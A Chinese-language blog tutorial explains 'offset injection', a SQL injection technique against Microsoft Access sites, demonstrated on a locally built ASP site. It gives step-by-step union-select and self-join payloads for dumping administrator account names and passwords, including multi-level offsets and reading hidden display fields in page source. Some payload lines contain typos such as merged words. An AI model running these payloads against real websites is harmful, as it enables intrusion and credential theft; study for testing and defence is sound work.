access偏移注入详细解读

Admin 2020-04-10 170人围观 ,发现0个评论 Web安全网络技术sql注入

  【利用】

  1.偏移注入指access偏移注入,主要是由于数据库结构的问题,其他数据库没办法利用。

  2.用于解决判断出表名,得不到字段的困境。

  【偏移注入的特点】

  1.看人品和技巧的注入方法,不是100%能成功(基本上看了我的总结成功率就很高了)。

  2.无需管理账号密码字段,直接爆账号密码。

  【利用条件】

  1.已知管理表名

  2.已知任意字段(一个或多个多个会增加几率)

  【影响偏移注入成功率的因素】

  1.管理表的字段数越少越好(最好就三个 1.id 2.账号字段 3.密码字段)

  2.当前注入点的脚本内查询的表内的字段数越多越好(最好有几十个,这样基本100%成功率)

  3.已知的字段数越多越好(id一般都存在)

  【偏移注入的流程】

  1.判断字段数

  2.判断表名

  3.开始偏移注入

  我这里本地搭建一个环境

  另外在这篇帖子里还涉及到一个新的名词《隐性显位》

  首先↓

  注入点:

  asp/Production/PRODUCT_DETAIL.asp?id=1137

  还是以前发《access逐字猜解法》的那个源码。

  注入点信息如下:↓

  字段数:22

  管理表名 admin

  先直接联合查询爆显位,如图1↓
access偏移注入详细解读 Web安全 第1张

  3和15是显位,但是跑不出字段,下面就开始偏移注入了。

  流程如下;

  先判断管理表内存在的字段数,用到如下语句;↓

  union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from admin

  //我们利用*代替admin表内存在的字段,由于是22个字段数,需要逐步测试,直到返回正常。

  目前语句访问结果如图2↓
access偏移注入详细解读 Web安全 第2张

  下面继续。。

  union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,,* from admin

  union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,,* from admin

  union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from admin

  union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,,* from admin

  union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,,* from admin

  这样的话,应该很好理解了。我这里到了16的时候返回正常,如图3;↓
access偏移注入详细解读 Web安全 第3张

  如上图可知,字段数列到16的时候,返回正常了,那么本来是22个字段。

  *号=字段数(这里是22)-列出的字段数(这里是16)

  所以*=22-16

  也就是说,admin表下有6个字段。

  【开始偏移注入】

  语句如下;

  union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b ona.id=b.id)

  这里我们把sql注入语句分解一下

  union //联合查询语法,定义连后面的语句一起执行

  select //查询

  1,2,3,4,5,6,7,8,9,10, //这里理解为剩下的字段数就可以

  from //从哪里开始

  (admin as a inner join admin as b on a.id=b.id)

  //这里是admin表自连接,admin为表名(前面得到的表名) id为字段(可修改,但必须存在)

  偏移注入的基本公式为:

  order by 出的字段数-*号的字段数x2

  因为这里一共是22个字段,而*号代表的admin表字段占6个,6x2=12 22-12=10

  这就是为什么字段数是10的原因。访问一下↓如图4
access偏移注入详细解读 Web安全 第4张

  这里爆出了admin表管理员创建日期,没有我们要的账号密码怎么办?

  没关系,这里就要说到隐性显位了,主页面只有两个显位3和15 那我们我们可以在页面源代码看一下。如图5↓
access偏移注入详细解读 Web安全 第5张

  可以看到

  1.还有两个隐性显位,第一个是9第二个已经爆出了管理员密码

  2.下面的红框和页面信息一致,只是它有回显。

  这时候已经得到了密码。还差账号了。偏移中办法很多。如下↓

  思路:我们只需要把它打乱就可以,这样信息重组,很有可能会把管理员账号给爆出来。

  在字段后面插个a.id,b.id,

  这里的a和b可以理解为字段(第a b个管理表存在的所有字段)

  id还是管理表内存在的字段名

  那么语句如下;

  union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin as a inner join adminas b on a.id=b.id)

  其实就在上面的语句基础上插了个a.id,b.id,

  其实也可以这样来搞↓

  union select 1,2,3,4,5,6,7,8,9,10,a.id,* from (admin as a inner join admin as bon a.id=b.id)

  只保留a.id, 也实现了打乱信息组合,并且执行效果一样。

  下面访问一下看看结果:如图6↓
access偏移注入详细解读 Web安全 第6张

  成功打乱他的组合,同一个显位返回不同的信息了,254是admin表内某个字段的内容。

  我们看看网页源代码里的隐性显位爆出了什么,如图7↓
access偏移注入详细解读 Web安全 第7张

  这样就爆出了管理员账号。

  经过两次的偏移,成功得到账号和密码。

  在这里,接地气还要告诉你,字段多的情况下,多级偏移会有意想不到的效果。

  刚才只到了一级,第二级的话就是字段数再去掉admin表存在的字段数。

  一级偏移语句如下↓

  union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin as a inner join adminas b on a.id=b.id)

  二级偏移语句如下↓

  union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as bon a.id=b.id) inner join admin as c on a.id=c.id)

  我把字段去掉了6个,增加了一个c.id 用来代替字段并且重新打乱组合。

  重新访问一下看看如图8↓
access偏移注入详细解读 Web安全 第8张

  可以看到,页面返回和前面没有任何变化。所以主要还是看隐性显位,如图9↓
access偏移注入详细解读 Web安全 第9张

  在隐性显位一次爆出了管理账号和密码。

  【拓展】

  x.id //id可以修改为任意表内存在的字段名,而且会打乱重新回显。

  看到这里你应该能明白我前面为什么说,管理表内存在的字段数越少越好、当前注入点脚本内查询的表内字段数越多越好、得到的字段数越多越好了。

  偏移注入可以很大程度上解决猜不到字段的问题。

  利用瓶颈:如果字段数小于管理表内字段数x2+1就不行。


请发表您的评论
请关注微信公众号
微信二维码
不容错过
Powered By 蚁人博客